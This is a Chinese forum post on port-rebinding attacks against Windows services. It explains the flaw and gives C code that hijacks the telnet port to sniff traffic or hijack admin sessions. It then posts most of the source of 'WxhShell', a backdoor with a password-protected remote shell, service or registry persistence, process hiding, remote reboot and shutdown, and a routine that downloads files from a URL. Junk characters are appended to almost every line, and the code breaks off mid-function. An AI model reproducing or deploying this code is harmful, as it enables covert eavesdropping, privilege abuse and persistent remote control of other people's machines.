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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SI6B#u-i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oW;6h.  
]LZ`LL'#Y_  
  saddr.sin_family = AF_INET; k;5Pom  
o-cAG{.WC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eVl'\aUd  
J/6`oh?,Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :ZDMNhUl &  
178Mb\8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9RwawTM  
/(8a~f&%r  
  这意味着什么?意味着可以进行如下的攻击: Krs2Gre}  
++Ww88820  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tW;:-  
x^*1gv $o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }Up.){.%  
m~'? /!!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D.%B$Y;G  
Y[SU&LM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |/ }\6L]  
W~Z<1[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a83g\c5   
<*EZ@XoN>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n$(p-po  
|*mL1#bB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xes|[*Y!V  
&5t :H 8b  
  #include aTzDew  
  #include >b.^kc  
  #include /b;K  
  #include    HvxJj+X9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q_Lo3|t i  
  int main() nmjm<Bu  
  { ~ np,_yI  
  WORD wVersionRequested; G9g6.8*&  
  DWORD ret; },[;O^Do^{  
  WSADATA wsaData; Pj?Dmk~   
  BOOL val;  st 'D  
  SOCKADDR_IN saddr; gf)t)-E  
  SOCKADDR_IN scaddr; j 6ut}Uq  
  int err; B%\gkl  
  SOCKET s; 5HS~op2n/  
  SOCKET sc; q*)+K9LRk  
  int caddsize; rbqo"g`  
  HANDLE mt; ,LOQDIyn  
  DWORD tid;   N]YtLa,t  
  wVersionRequested = MAKEWORD( 2, 2 ); Jg$xO@.  
  err = WSAStartup( wVersionRequested, &wsaData ); Ei({`^  
  if ( err != 0 ) { 23DJV);g8  
  printf("error!WSAStartup failed!\n"); s0hBbL0DH  
  return -1; ;o<m}bGaT  
  } N{d@^Yj  
  saddr.sin_family = AF_INET; 6*@yE  
   Vga-@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %}>dqUyQ  
Wd(86idnc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }vt%R.u  
  saddr.sin_port = htons(23); [*m2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4QJ8Z t  
  { ] q~<=   
  printf("error!socket failed!\n"); P|jF6?C  
  return -1; SJgY  
  } E&~nps8e  
  val = TRUE; giavJ|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "zZI S6j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3,aN8F1;C  
  { q\9d6u=Gm  
  printf("error!setsockopt failed!\n"); I]}>|  
  return -1; 8Og3yFx[rt  
  } pz doqAVI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,,=apyr#&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sP$Ks#/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "t(wG{RxY  
>adV(V<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ov9 Q?8KzM  
  { _ :^ 7a3I  
  ret=GetLastError(); .+K S`  
  printf("error!bind failed!\n"); B>TSdn={>  
  return -1; D!TZI  
  } gY9\o#)<  
  listen(s,2); sY;lt.b  
  while(1) /owO@~G  
  { PQj<[rY  
  caddsize = sizeof(scaddr); ] y1fM0  
  //接受连接请求 ?Hy+'sq[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rlznwfr7+  
  if(sc!=INVALID_SOCKET) QYThW7S  
  { 2>hz_o{5',  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2RppP?M!  
  if(mt==NULL) (%< 'A  
  { ]re'LC!d  
  printf("Thread Creat Failed!\n"); %c6E-4b  
  break; Jfg7\&|  
  } NO>k  
  } s'_,:R\VM>  
  CloseHandle(mt); ms~8QL  
  } P -Fg^tl  
  closesocket(s); &:#m&,tQ  
  WSACleanup(); 4Nmea-!*  
  return 0; ( v#pj8aE  
  }   S_8r\B[>P  
  DWORD WINAPI ClientThread(LPVOID lpParam) &/ ouW'oP  
  { AZZRa69=  
  SOCKET ss = (SOCKET)lpParam; 0\a8}b||  
  SOCKET sc; [N|xzMe  
  unsigned char buf[4096]; {0's~U+@  
  SOCKADDR_IN saddr; x,Y 5U+]E  
  long num; |pWaBh|r  
  DWORD val; 6f] rQ9  
  DWORD ret; yBn_Kd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FrZ]=:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?y-s20Kd  
  saddr.sin_family = AF_INET; )mkS5j`5\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MD'>jO;n  
  saddr.sin_port = htons(23); YU\Gj S~>&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &:!ij  
  { ?q%b*Ek  
  printf("error!socket failed!\n"); FDLd&4Ex  
  return -1; V-vlTgemwc  
  } W(@>?$&  
  val = 100; k:P$LzIB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (K!4Kp^m  
  { SFO&=P:U  
  ret = GetLastError();  Tb#  
  return -1; w:Q|?30  
  } $A?}a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) En5!"w|j  
  { k!E"wJkpz  
  ret = GetLastError(); F";FG 0  
  return -1; |U=(b,  
  }  .fJ*c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6An{3 "  
  {  `$-lL"  
  printf("error!socket connect failed!\n"); Fp:3#Bh  
  closesocket(sc); :dDxxrs"  
  closesocket(ss); }[,3yfiX  
  return -1; ]_2 yiKv&  
  } \GHOg.P  
  while(1) +k rFB?>`  
  { l10-XU02  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ; J2-rh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lO&cCV;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eU~?p|Np  
  num = recv(ss,buf,4096,0); ve%l({  
  if(num>0) S OI)/u  
  send(sc,buf,num,0); &"AQ; %&N  
  else if(num==0) L<)Z>@fR  
  break; ,o)4p\nV  
  num = recv(sc,buf,4096,0); VR v02m5  
  if(num>0) D-iUN  
  send(ss,buf,num,0); lJj&kVHb  
  else if(num==0) 0 pNo`Bm  
  break; #HDesen  
  } !Mil?^  
  closesocket(ss); tw86:kYEz  
  closesocket(sc); S.]MOB dt  
  return 0 ; q u:To7  
  } %Qd3BZ  
6EP~F8Kd  
,cS0  
========================================================== 3k{c$x}  
&(0N.=R  
下边附上一个代码,,WXhSHELL L?.7\a@  
ux&:Rw\  
========================================================== ) MBS  
k.{G&]r{  
#include "stdafx.h" M8Juykw  
;/aB)JZ5=  
#include <stdio.h> O=`o'%K<  
#include <string.h> Gt5$6>A  
#include <windows.h> @tQ2E}psP,  
#include <winsock2.h> +_-Y`O!Q  
#include <winsvc.h> b_mWu@$  
#include <urlmon.h> Q;@X2 JSp  
\6LcVik  
#pragma comment (lib, "Ws2_32.lib") zf7rF}  
#pragma comment (lib, "urlmon.lib") [,nfAY  
%/md"S  
#define MAX_USER   100 // 最大客户端连接数 kdd7X bw-  
#define BUF_SOCK   200 // sock buffer )(.%QSA\C  
#define KEY_BUFF   255 // 输入 buffer X}?ESjZJ  
IrUi E q  
#define REBOOT     0   // 重启 {DS\!0T-X  
#define SHUTDOWN   1   // 关机 @?vLAsp\  
xBt<Yt"  
#define DEF_PORT   5000 // 监听端口 h=Oh9zsz8  
X{s/``n  
#define REG_LEN     16   // 注册表键长度 x{2o[dK4}  
#define SVC_LEN     80   // NT服务名长度 iBS0rT_  
=<>pKQ)[  
// 从dll定义API j aD!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s79 q 5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @[0jFjK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y8t Nwh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QglYU  
?d#Lr*m  
// wxhshell配置信息 gTuX *7w  
struct WSCFG { ^^'[%ok  
  int ws_port;         // 监听端口 9Yd-m  
  char ws_passstr[REG_LEN]; // 口令 UXQb ={  
  int ws_autoins;       // 安装标记, 1=yes 0=no }`4K)(>4nG  
  char ws_regname[REG_LEN]; // 注册表键名 SCI1bMf  
  char ws_svcname[REG_LEN]; // 服务名 !rz)bd3$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *seu&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @n>{&^-c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GA7u5D"0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (Q\\Gw   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" at=D&oy4"+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?U$}Rsk{#  
.u&|e  
}; bt0djJRw  
Gk{W:866  
// default Wxhshell configuration $u&|[vcP0  
struct WSCFG wscfg={DEF_PORT, |O%:P}6c  
    "xuhuanlingzhe", O<bDU0s{M  
    1, z,M'Tr.1|  
    "Wxhshell", n~9 i^  
    "Wxhshell", nx D'r  
            "WxhShell Service", tb:    
    "Wrsky Windows CmdShell Service", _,t&C7Yf;  
    "Please Input Your Password: ", BjwMb&a;  
  1, $}V7(wu 6@  
  "http://www.wrsky.com/wxhshell.exe", [Yn;G7cK  
  "Wxhshell.exe" N*HH,m&  
    };  JUmw$u  
Ko]QCLL  
// 消息定义模块 8>2&h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #!wsD7;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zU=YNrn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Th_Q owk  
char *msg_ws_ext="\n\rExit."; oEN)Dw o  
char *msg_ws_end="\n\rQuit."; p|b+I"M  
char *msg_ws_boot="\n\rReboot..."; vT&j{2U7XW  
char *msg_ws_poff="\n\rShutdown..."; ]DGGcUk7  
char *msg_ws_down="\n\rSave to "; ~@[(U!G  
9=H}yiJz  
char *msg_ws_err="\n\rErr!"; r+SEw ;  
char *msg_ws_ok="\n\rOK!"; 'n>EEQyp'  
`D4oAx d9  
char ExeFile[MAX_PATH]; `!]R!T@C  
int nUser = 0; OuMco+C  
HANDLE handles[MAX_USER]; >7"$}5d  
int OsIsNt; "^Y6ctw  
}7-7t{G  
SERVICE_STATUS       serviceStatus; `Fz\wPd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &3jBE --  
;HR 6X  
// 函数声明 VjC*(6<Gj  
int Install(void); te4F"SEf  
int Uninstall(void); /A0 [_  
int DownloadFile(char *sURL, SOCKET wsh); h=!M6yap<  
int Boot(int flag); : x>I- 3G  
void HideProc(void); LG"c8Vv&)~  
int GetOsVer(void); sg+ZQDF{x  
int Wxhshell(SOCKET wsl); z|Hy>|+  
void TalkWithClient(void *cs); m*\B2\2gJ  
int CmdShell(SOCKET sock); f2`P8$U)R  
int StartFromService(void); B{[f}h.n  
int StartWxhshell(LPSTR lpCmdLine); R|nEd/' <  
:U!'U;uQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]jZiW1C*a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (zjz]@qJ  
bELIRM9  
// 数据结构和表定义 71JM [2  
SERVICE_TABLE_ENTRY DispatchTable[] = )3BR[*u*  
{ =X)Q7u".7  
{wscfg.ws_svcname, NTServiceMain}, ,Le&I9*%  
{NULL, NULL} Y;'VosTD  
}; -08&&H  
Rrh<mo(yj#  
// 自我安装 }Q47_]5  
int Install(void) e$ThSh\+(  
{ tx2Vyu  
  char svExeFile[MAX_PATH]; dDsjPM;2  
  HKEY key; mrK,Ql  
  strcpy(svExeFile,ExeFile); i_[^s:*T  
?SB[lbU  
// 如果是win9x系统,修改注册表设为自启动  $&ex\_W  
if(!OsIsNt) { sI^@A=.@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $,8CH)w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y1#-^,qg  
  RegCloseKey(key); c-[Q,c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aQl?d<|+lk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MZ;"J82p  
  RegCloseKey(key); ,Wz[tYL*  
  return 0; [?Mc4uT{  
    } C/{nr-V3u  
  } *p""YEN  
} `G_(xN7O  
else { Es.toOH$S  
73'U#@g6  
// 如果是NT以上系统,安装为系统服务  R4&|t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X{5v?4wI  
if (schSCManager!=0) 7 JxE |G  
{ #[gcg]6c  
  SC_HANDLE schService = CreateService WF+bN#YJ  
  ( B rez&3[  
  schSCManager, 8O"x;3I9  
  wscfg.ws_svcname, 34X(J-1\|i  
  wscfg.ws_svcdisp, f}L>&^I)  
  SERVICE_ALL_ACCESS, u@GRN`yn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nQ:ml  
  SERVICE_AUTO_START, *,O :>Z5I  
  SERVICE_ERROR_NORMAL, +O;OSZ  
  svExeFile, X{0ax.  
  NULL, se<i5JsSV  
  NULL, a) I=U [  
  NULL, `ENlV9  
  NULL, 7V9%)%=h|  
  NULL nu\  
  ); w JapGc!   
  if (schService!=0) O\|C,Ep m  
  { XV74F l  
  CloseServiceHandle(schService); s[0prm5.  
  CloseServiceHandle(schSCManager); G;PbTsW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {{^Mr)]5K  
  strcat(svExeFile,wscfg.ws_svcname); ?F?\uC2)'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?)A]q' O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x:f|3"\s  
  RegCloseKey(key); O vyB<r  
  return 0; GCf._8;%  
    } XA&tTpfJE  
  } *b$z6.  
  CloseServiceHandle(schSCManager); sf.E|]isW  
} o1fyNzq<  
} #U?EOm  
Ff)~clIK '  
return 1; N}8HK^n*  
} "Cb.cO$i;  
qB+:#Yrx/  
// 自我卸载 ;a!h.8UJPI  
int Uninstall(void) jyY^iQ.2  
{ cc2d/<:  
  HKEY key; ?`vM#)  
*@-q@5r}!  
if(!OsIsNt) { 9J-!o]f .b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NDs]}5#   
  RegDeleteValue(key,wscfg.ws_regname); 9 NGeh*`  
  RegCloseKey(key); Z4wrXss~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p%1xj2 ?nN  
  RegDeleteValue(key,wscfg.ws_regname); SX Hru Z  
  RegCloseKey(key); tF#b&za  
  return 0; s8f3i\1  
  } 6T{o3wc;  
} L]/\C{}k  
} ]X >QLD0W  
else { +(QMy&DtS  
f{+LCMbC6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vz7w{HY  
if (schSCManager!=0) =`7#^7Q9  
{ g6[/F-3Qlf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9a"Y,1  
  if (schService!=0) )$gsU@H -  
  { +(I`@5  
  if(DeleteService(schService)!=0) { giPhW>  
  CloseServiceHandle(schService); D]G'R5H  
  CloseServiceHandle(schSCManager); ?c=R"Yg$  
  return 0;  rvwl  
  } Ab^>z  
  CloseServiceHandle(schService); l ))~&  
  } %U=S6<lbj;  
  CloseServiceHandle(schSCManager); ~n8*@9[  
} O5G<O(,\  
} Hg gR=>s  
gJcXdv=]2  
return 1; {E3<GeHw4  
} {.' ,%)  
,<^tsCI  
// 从指定url下载文件 4t%:O4 3e  
int DownloadFile(char *sURL, SOCKET wsh) t]u(jX)  
{ 7tf81*e  
  HRESULT hr; 7(|3 OR+  
char seps[]= "/"; bgzT3KZ  
char *token; '1kj:Np  
char *file; :N+#4rtgUY  
char myURL[MAX_PATH]; 5KC\1pe i  
char myFILE[MAX_PATH]; NU)`js  
UuOLv;v  
strcpy(myURL,sURL); 6'No4[F 4n  
  token=strtok(myURL,seps); }(g+:]p-  
  while(token!=NULL) !q=Q~ea  
  { P$(iB.&  
    file=token; [c KI0  
  token=strtok(NULL,seps); f)AW! /  
  } }]39 iK`w  
v8'`gY  
GetCurrentDirectory(MAX_PATH,myFILE); y3@x*_K8  
strcat(myFILE, "\\"); (Qh7bfd  
strcat(myFILE, file); A&}nRP9  
  send(wsh,myFILE,strlen(myFILE),0); r 0?hX  
send(wsh,"...",3,0); X#Dhk6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?,i#B'Z^  
  if(hr==S_OK) sS1J.R  
return 0; o7 @4=m}  
else SqA+u/"j2  
return 1; ?ck^? p7  
1EAVMJ  
} jy__Y=1}  
@E"+qPp.3  
// 系统电源模块 ;@7 #w  
int Boot(int flag) p^zEfLTU  
{ d_W nK{  
  HANDLE hToken; Wf`Oye Rz  
  TOKEN_PRIVILEGES tkp; LO$#DHPt  
@k:f}-t  
  if(OsIsNt) { wzQdKlV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j$mt*z L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xo)?XFM2  
    tkp.PrivilegeCount = 1; ko+M,kjwR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8O.:3%D~ t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 21/a3Mlx#  
if(flag==REBOOT) { GdfK xSO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'De'(I  
  return 0; xeP;"J}  
} u>Axq3F  
else { -B3w RAEt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9i2vWSga  
  return 0; C_^R_  
} 7AtXG^lK  
  } #Zavdkw=d  
  else { /4-eoTxy  
if(flag==REBOOT) { c@o/Cv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /P8eI3R  
  return 0; i:Z.;z$1  
} QhE("}1  
else { rD(ep~^M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y/sWy1P7  
  return 0; Y^*$PED?  
} ?D )qgH  
} 1TxhEXB  
<>*''^  
return 1; l&^[cR  
}  _7j/[  
4Utx 9^  
// win9x进程隐藏模块 #;*ai\6>vD  
void HideProc(void) A^Hp#b @  
{ 9 K /  
%wjU^Urya  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TNPGw!  
  if ( hKernel != NULL ) FO'. a  
  { ZV<y=F*~f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M4hN#0("4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %C E@}  
    FreeLibrary(hKernel); o2e h)rtB  
  } Ko]h r  
tv=FFfQ  
return; E?q'|f  
} 1'U%7#;E  
-ZoOX"N}  
// 获取操作系统版本 A_q3p\b  
int GetOsVer(void) 8s5ru)  
{ eUw;!Du  
  OSVERSIONINFO winfo; -WW!V(~p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]'ApOp  
  GetVersionEx(&winfo); 4#7@KhK}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g`8 mh&u%  
  return 1; ~ {7N TW  
  else 2|NyAtPb5  
  return 0; QsF<=b~  
} \FY De  
XOU-8;d  
// 客户端句柄模块 x#gmliF  
int Wxhshell(SOCKET wsl) AO7qs:+  
{ cSs/XJZ  
  SOCKET wsh; 0!'M#'m  
  struct sockaddr_in client; 7/OOq=z  
  DWORD myID; 3]]6z K^i  
!RUo:b+  
  while(nUser<MAX_USER) \ -iUuHP  
{ cp?P@-  
  int nSize=sizeof(client); z?_}+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p*&LEjaVM4  
  if(wsh==INVALID_SOCKET) return 1; :ktX7p~  
!/(}meZj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TtjSLkF  
if(handles[nUser]==0) eWk2YP!  
  closesocket(wsh); zt?w n* _  
else o-CJdOS  
  nUser++; ZG[0rvW  
  } YK+Z0ry  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .6/p4OR|  
|2&mvjk@H  
  return 0; gLxy RbVI  
} hE#8_34%s  
x w83K  
// 关闭 socket 7<Js'\Z  
void CloseIt(SOCKET wsh) |Gs-9+'y  
{ 2?nyPqT3AM  
closesocket(wsh); :@8.t,|  
nUser--; ! tPK"k  
ExitThread(0); ZXDMbMD  
} COL8YY  
3Co>3d_  
// 客户端请求句柄 NGQIoKC  
void TalkWithClient(void *cs) ]{U*+K%,J  
{ 6)<oO(  
-Izg&u &  
  SOCKET wsh=(SOCKET)cs; b`Ek;nYek  
  char pwd[SVC_LEN]; 9/KQAc*  
  char cmd[KEY_BUFF]; B;7s]R  
char chr[1]; I%|s  
int i,j; KQZRzX>0  
(V?`W7  
  while (nUser < MAX_USER) { <gz MDX[^M  
5.HztNL  
if(wscfg.ws_passstr) { & ~G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <4HuV.K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  F%$Ws>l  
  //ZeroMemory(pwd,KEY_BUFF); uOUw8  
      i=0; 2}\sj'0&  
  while(i<SVC_LEN) { ZS>/ 5  
n?fC_dy  
  // 设置超时 I%*Z j,>  
  fd_set FdRead; IX3 yNTW"L  
  struct timeval TimeOut; um;U;%?Q  
  FD_ZERO(&FdRead); 5P2FNUKL  
  FD_SET(wsh,&FdRead); 4qR Q,g{$T  
  TimeOut.tv_sec=8; ]b=A/*z  
  TimeOut.tv_usec=0; Yy~Dg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *YOnX7*Km  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8-6{MJ?F  
vKLG9ovlY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xT( .#9  
  pwd=chr[0]; GuDD7~qxY  
  if(chr[0]==0xd || chr[0]==0xa) { }33Au-%*  
  pwd=0; .%h_W\M<l  
  break; U]&%EqLS  
  } ",GC\#^v  
  i++; 0vNM#@  
    } r~a}B.pj  
[/^g) ^s:  
  // 如果是非法用户,关闭 socket m,_oX1h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o |.me G  
} b|'LtL$Y  
*hgsS~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gz:c_HJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mM~Q!`Nf.  
n!orM5=:O  
while(1) { k)_#u;qmG  
LYKm2C*d  
  ZeroMemory(cmd,KEY_BUFF); t~#+--(  
Ps,w(k{d  
      // 自动支持客户端 telnet标准   t?&ajh  
  j=0; *g.,[a0  
  while(j<KEY_BUFF) { tXGcwoOB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > _) a7%  
  cmd[j]=chr[0]; \05C'z3]  
  if(chr[0]==0xa || chr[0]==0xd) { KA[Su0  
  cmd[j]=0; ~z"->.u  
  break; t)b>f~  
  } :P'5_YSi  
  j++; IiU|@f~k  
    } Qd=/e pkm  
8[XNFFUZs  
  // 下载文件 TQfY%GKg(  
  if(strstr(cmd,"http://")) { "K]4j]yU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @}}1xP4Sr  
  if(DownloadFile(cmd,wsh)) a MD?^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $(hZw  
  else @g?z>n n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Q*ec/^{f  
  } D^4V"rq  
  else { t*$@QO  
v0p EN\  
    switch(cmd[0]) { `Q[$R&\  
  e=C,`&s z  
  // 帮助 ]vG)lY.=  
  case '?': { ON^u|*kO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g:V6B/M&  
    break; ;0WlvKF  
  } }zLE*b,  
  // 安装 z}|'&O*.F  
  case 'i': { }:A kpm  
    if(Install()) #-8/|_*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zoXF"Nz  
    else 3?<vnpN=5d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,s<d"]<  
    break; wjs7K|PK  
    } }\*|b@)]  
  // 卸载 B!lw>rUMQ  
  case 'r': { .4-S|]/d,  
    if(Uninstall()) 4cL=f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JaTW/~ TU  
    else S|i //I%_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `8*$$JC  
    break; ^^mi@&ApLD  
    } _TiF}b!hi  
  // 显示 wxhshell 所在路径 Ei!z? sxzx  
  case 'p': { uDUSR+E>  
    char svExeFile[MAX_PATH]; B$n\m854  
    strcpy(svExeFile,"\n\r"); dWEx55>,1  
      strcat(svExeFile,ExeFile); Ro69woU  
        send(wsh,svExeFile,strlen(svExeFile),0); -R]S)Odml  
    break; "^%Il  
    } 2^:nlM{u  
  // 重启 5^i ^?  
  case 'b': { P^r8JhDJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q1j[eru  
    if(Boot(REBOOT)) "5FeP;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~M=`f{-$K  
    else { (nG  
    closesocket(wsh); Si(?+bda0c  
    ExitThread(0); }r[BME  
    } [\y>Gv%  
    break; jLU)S)  
    } SX.v5plhc  
  // 关机 XPSWAp)  
  case 'd': { qx NV~aK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _,QUH"  
    if(Boot(SHUTDOWN)) bzTM{<]sv  
